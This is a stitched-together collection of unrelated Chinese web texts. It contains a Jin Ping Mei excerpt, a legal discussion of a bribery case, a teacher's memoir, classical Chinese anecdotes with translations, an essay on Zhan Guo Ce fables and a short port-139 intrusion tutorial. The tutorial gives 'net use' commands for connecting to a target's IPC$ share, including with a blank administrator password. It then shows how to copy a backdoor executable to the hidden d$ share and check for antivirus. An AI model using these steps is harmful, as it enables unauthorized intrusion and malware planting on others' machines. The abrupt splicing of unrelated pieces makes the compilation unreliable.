都全了，此事便获得着。 王婆说起她干的本行话来，真是一套一套的。 小说《金瓶梅》第二回俏潘娘帘下勾情老王婆茶坊说技里是这样描写王婆的：——西门庆道：干娘，你且来，我问你，间壁这个雌儿是谁的娘子？王婆道：他是阎罗大王①的妹子，五道将军②的女儿，问他怎的？西门庆道：我和你说正话，休要取笑。 王婆道：大官人怎的不认得？他老公便是县前卖熟食的。 西门庆道：莫不是卖枣糕徐三的老婆？王婆摇手道：不是，若是他，也是一对儿。 王婆大官人再猜。 西门庆道：敢是卖［饣骨］［饣出］的李三娘子儿？王婆摇手道：不是，若是他，倒是一双。 西门庆道：莫不是花胳膊刘小二的婆儿？王婆大笑道：不是，若是他时，又是一对儿。 大官人再猜。 西门庆道：干娘，我其实猜不着了。 王婆哈哈笑道：我好交大官人得知了罢，他的盖老③便是街上卖炊饼的武大郎。 西门庆听，跌脚笑道：莫不是人叫他三寸丁谷树皮的武大么？王婆道：正是他。 西门庆听了，叫起苦来，说是：好一块羊肉，怎生落在狗口里！
儿子收赃当说客父亲不知情被利用,父子是否构成犯罪
儿子收赃当说客父亲不知情被利用，父子是否构成犯罪 基本案情： 林某甲是某市某局的副局长，其父林某乙为该市农业银行行长。有三人向农行贷款，但条件不符合，便分别给予林某甲现金、手表、首饰等财物，总计价值10万元，请林某甲帮忙，林某甲为这三人在林某乙面前说好话，使这三人都顺利贷到款，而林某乙对林某甲收受财物并不知情。 意见分岐： 对此案中的父子的行为如何定性，有三种不同意见： 第一种意见认为，林氏父子共同构成受贿罪。受贿罪，是指国家工作人员利用职务上的便利，索取他人财物，或者非法收受他人财物，为他人谋取利益的行为。本案中林氏父子共同受贿表现为林某乙利用职务上的便利，为他人谋取利益，由林某甲非法收受他人财物。虽然林某乙称他对林某甲收受财物并不知情，但林某乙是因为听信林某甲的话而向三人发放贷款，而且林某甲、林某乙为父子关系且生活在一起，故林某甲收受财物可视为一种分工。 第二种意见认为，林某乙不构成受贿罪，林某甲构成斡旋受贿罪。我国《刑法》第３８８条规定：“国家工作人员利用本人职权或地位形成的便利条件，通过其他国家工作人员职务上的行为，为请托人谋取不正当利益，索取请托人财物或者收受请托人财物的，以受贿论处。”本案林某甲是司法局副局长，利用其自身职务上的便利，是无法为别人贷到款的。他是利用与林某乙的父子关系这一便利条件，通过林某乙职务上的行为收受了请托人的财物为请托人谋取了不正当利益，故已构成斡旋受贿罪。 而林某乙虽违反了规定向三人发放贷款，但受贿罪客观方面的受贿行为包括两种不同的基本形式，一为利用职务之便，索取他人财物；二为利用职务之便，非法收受他人财物，为他人谋取利益。林某乙既未索取他人财物，也未非法收受他人财物，因他对林某甲收受财物并不知情，主观上也没有受贿的故意，故不构成受贿罪，其行为属违纪行为，应受有关纪律处分。 第三种意见认为，林氏父子均不构成犯罪。林某乙不构成受贿罪与第二种意见相同。至于林某甲，首先他不构成一般受贿罪，因为林某甲虽实施了收受他人财物，为他人谋取利益的行为，但他并非利用自身职务的便利。那么林某甲是否构成斡旋受贿罪呢？根据我国刑法和相关司法解释，斡旋受贿行为构成受贿的情况，应具备三个特点：1、客观方面表现为行为人利用本人职权或者地位形
刘可钦：因为有了你-我才喜欢当教师
刘可钦：因为有了你-我才喜欢当教师
刘可钦：因为有了你，我才喜欢当教师 作者：刘可钦文章来源：《人民教育》2005（19） 教学名师简介：刘可钦，北京市海淀区中关村第四小学校长、北京师范大学教育管理学院兼职教授、国家义务教育数学课程标准研制组核心成员、中国教育学会小学教育专业委员会秘书长，曾荣获全国教育系统劳动模范、全国模范教师、全国十杰中小学中青年教师等称号，享受国务院特殊津贴。 没有假期的老师 1979年我高中毕业，考入了师范。在当时，由于刚恢复高考不久，人们不像现在那么竞争激烈、心情紧张，依我的分数完全可以报考警校、卫校、财会学校等等，这些在当时都是热门行业，而师范则是一个极冷门的专业，很多人是不想上的。填志愿时，我的母亲和班主任都主张我填报安阳师范学校，说是小女孩，当老师挺好的，工作稳定，每年还有两个假期。我一想也是的，每年有近三个月的假期，可以自由自在的，加之当时的我确实也没什么远大理想，更缺乏一些人常有的那些幻想，所以，为了每年能有两个假期，我填报了师范，自然属于高分录取的学生。 命运似乎就是如此，从我走上讲台至今，却始终没有休过一个完整的假期。 先是一直教毕业班，每年寒暑假都要补课，后来参加主体性教育实验，要学习、交流、研讨、写方案、论文等等，这些对一个小学老师来说都是很陌生的工作，自然都得靠假期来完成。再后来做了校长又参与国家课程标准的研制和新教材的编写千作，学校发展、教师培训、教材建设等等又将我的整个假期撑得满满的。 到如今，与一些朋友谈起来，他们对我工作的繁忙度，始终不能理解，“为了两个假期，却享受不到假期，你一个小学老师，怎么就那么忙，有什么意思?”我只能淡淡一笑，谁让咱是做老师的呢。
课外文言文(有译文)
1、灵隐寺僧 灵隐寺僧某，以茶得名，铛臼皆精。然所蓄茶有数等，恒视客之贵贱以为烹 献；其最上者，非贵客及知味者，不一奉也。一日，有贵官至，僧伏谒甚恭，出佳茶，手自烹进，冀得称誉。贵官默然。僧惑甚，又以最上一等烹而进之。饮已将尽，并无赞语。僧急不能待，鞠躬曰：“茶何如？”贵官执盏一拱曰：“甚热。” 灵隐寺有一位僧人,他以会茶道而出名,精通茶具.而且他收藏的茶有几等,看客人的贵贱而分别煮不同的茶给他;那最好的茶,若不是贵人或识茶之人,是不会给他的.一天,有一贵客来到,僧人待他很恭敬,给出好茶,亲自冲茶给他,等待客人的称赞.贵客一直沉默不言.僧人很疑惑,再拿出最好的给客人.茶快喝完了.僧人等不急了,鞠了一个躬,说:"这个茶味道如何?"贵客拿着茶杯拱手,说:"有点热了." 疑人窃履 原文 昔楚人有宿于其友之家者，其仆窃友人之履以归，楚人不知也。适使其仆市履于肆，仆私其直而以窃履进，楚人不知也。他日，友人来过，见其履在楚人之足，大骇曰：“吾固疑之，果然窃吾履。”遂与之绝。逾年而事暴，友人踵楚人之门，而悔谢曰：“吾不能知子，而缪以疑子，吾之罪也。请为以如初。” 译文 从前有个楚国人夜宿在朋友的家里，他的仆人偷了他的朋友的鞋子回来，楚国人不知道。恰好他让仆人到集市上去买鞋，仆人私藏了买鞋的钱把偷来的鞋子交给他，楚国人也不知道。有一天，他的朋友来拜访他，看见自己的鞋子穿在楚国人的脚上，很惊讶，说：“我本来就怀疑是你，果然是你偷了我的鞋。”于是和他断绝了联系。过了几年有关这个仆人的事情暴露，他的朋友来到这个人的家里，向他道歉说：“我不够了解你，才错误地怀疑你，这是我的过错。请让我们和好如初吧。” 2陶侃惜分阴 侃性聪敏恭勤，终日敛膝危坐，军府众事，检摄无遗，未尝少闲。常语人云：“大禹圣人，乃惜寸阴，至于众人，当惜分阴。岂可但逸游荒醉⑤，生无益于时，死无闻于后，是自弃也！”、 陶侃在广州任刺史，在州内闲著无事，于是就每天早上把很多砖瓦搬到屋外去，到了晚上又搬进屋内，人家问他这样做的原因，他回答说：“我正尽力恢复中原，如果过份悠闲放逸的话，恐怕到时候会没有能力来从事复兴中原这件大事，所以我要训练我的体力罢了。”陶侃聪慧灵敏，对人谦逊有礼，做事尽心尽力。整日盘腿正坐，军中府中所有的事情，陶侃自上而下检查管理，从不遗漏，没有一点空闲。他常对他人说：“大禹是圣人，还如此珍惜很短的时间，对于一般人来说，就更应当珍惜时间。怎么可以只游乐宴饮。活着的时候不能对国家有所贡献，死了以后不能被后人传颂，这是自己糟蹋自己啊！”
139端口入侵简易教程
139端口入侵简易教程; net use \\192.168.0.1\ipc$ "" /user:administrator 提到139端口，我想知道的人一定非常多，本来是不想用写这个教程的，但考虑要照顾到新人，所以还是简单的写一下。 首先，连接的命令是： net<空格>use<空格>\\IP地址\ipc$<空格>密码<空格>/user:用户名 假设我要连接的目标IP地址是：192.168.1.11，用户名是google,使用的密码是123456,那么连接对方139端口通道的格式就是这样的： net use \\192.168.1.11\ipc$ 123456 /user:google 如果连接成功，那么系统会提示"命令成功完成"! 空密码是这样的： 如果密码是空的，那就在原先输入密码的地方以""代替。 开始查看权限： 查看登录后用户权限的方法很简单，只要给目标系统传个文件就可以了，如果传诵成功，那么一般都是系统管理员权限了，如果不成功可能就是来访者权限或者其他用户组的。命令的格式是这样的： copy<>文件绝对路径<>\\IP地址\文件目标路径 比如我要将本地C盘下的a.exe文件拷贝到192.168.1.11的D盘下： copy c:\a.exe \\192.168.1.11\d$ 要注意"$"符，那是隐藏共享盘的表示符，如果对方的共享盘不是隐藏的，就不需要"$"符了。如果命令执行成功，系统同样会提示"已复制1 个文件" 小技巧： 再次复制相同文件至相同路径，以检测是否存在杀毒软件！！！ 如果系统提示“改写\\192.168.1.11\d$\a.exe 吗? (Yes/No/All):”则说明文件在还在目标系统上，没有被杀毒软件查杀（一般发送过去的都是后门程序只类的东西，只有系统安装了杀毒软件都会被杀掉）。如果没有提示，则说明安装了杀毒软件。
浅析《战国策》中寓言故事的应用解读
浅析《战国策》中寓言故事的应用 【摘要】：《战国策》以记述战国时策士说客活动及其辞说为主要内容，故事各自成篇。其所涉及均为战国时代的历史人物和事件，但偏于记述时人纵横捭阖的谋略及游说。在精彩绝妙的人物说辞中占据着重要的位置。本文主要从寓言的分类和功能两方面浅析《战国策》中的寓言故事的应用。 【关键词】：《战国策》寓言故事分类功能 一、引言 《战国策》成为“战国杂史”，主要记述战国时代谋臣策士游说各国和互相辩论时所提出的政治主张和斗争的策略。文章所涉均为战国时代的历史人物和事件，但偏于记述时人纵横捭阖的谋略及游说，故或曰“史部”（《汉书·艺文志》）或归“子部·纵横家类”（【宋】晁公武：《郡斋读书志》）。 《战国策》作为战国后期兼具史传、说辞之长的散文著作，曾在封建社会时期被视作异端邪说的书籍。宋人李文叔在《题战国策》一文中这样评价《战国策》，“大抵皆纵横捭阖，谲狂相轧，倾夺之说也，其事浅陋不足道，然而人读之，则必尚其说之工，而忘其事之陋者，文辞之胜移之而已。”其评价虽否认其叙事部分，但也对文辞方面加以肯定。 《战国策》虽曾被视为异端，不被重视，但还是在儒家思想统治下的封建社会里得以保存下来，以为内《战国策》本身拥有者不可估量的客观价值。而其在文学性突出表现就是巧妙运用了
大量的寓言故事。 “寓言”依次最早见于《庄子》，“以天下为沉浊，不可与庄语，以卮言为曼衍，以重言真，以寓言为广。”“以寓言为广”的含义就是运用寓言故事使要表述、阐明的道理被广泛的接受。“战国，纵横之世也（《文史通义·诗教上》），寓言作为一种运用具有比喻性质的简短故事来说明道理的形式，在以“纵横”为主要整治特征的战国时代为奔走游说的“纵横家”们所用，提高游说技巧，宣言政治主张。在激烈的列国征战年代，如何把握机会施展才华，以赢得列国君王的赏识，或达到劝谏的效果？绝妙的寓言应用在说辞中举足轻重，既提高了劝谏游说的成功率，也增添了艺术魅力。 二、寓言的分类 《战国策》中的文章不成于一人之手，也不作于一时一地，文章最后编次成书及命名始于西汉刘向，所以在书中想找出寓言故事的系统性比较困难，这些寓言故事的安排也并不是随机无目的的。至于语言的目录，陈蒲青在《中国古代寓言史》中整理出《战国策》寓言故事总目，一共五十四则，熊宪光在此基础上又重新统计，并把寓言的概念拓宽，认为凡是有具体故事情节和一定寓意的均可算是寓言。根据其统计，除去重复的，共有七十则。 《战国策》中寓言故事按不同的分类标注可以分为不同的类别。《现代汉语词典》上这样解释寓言：用假托的故事或自然物的拟人手法来说明某个道理或教训的文学作品，常常带有讽刺或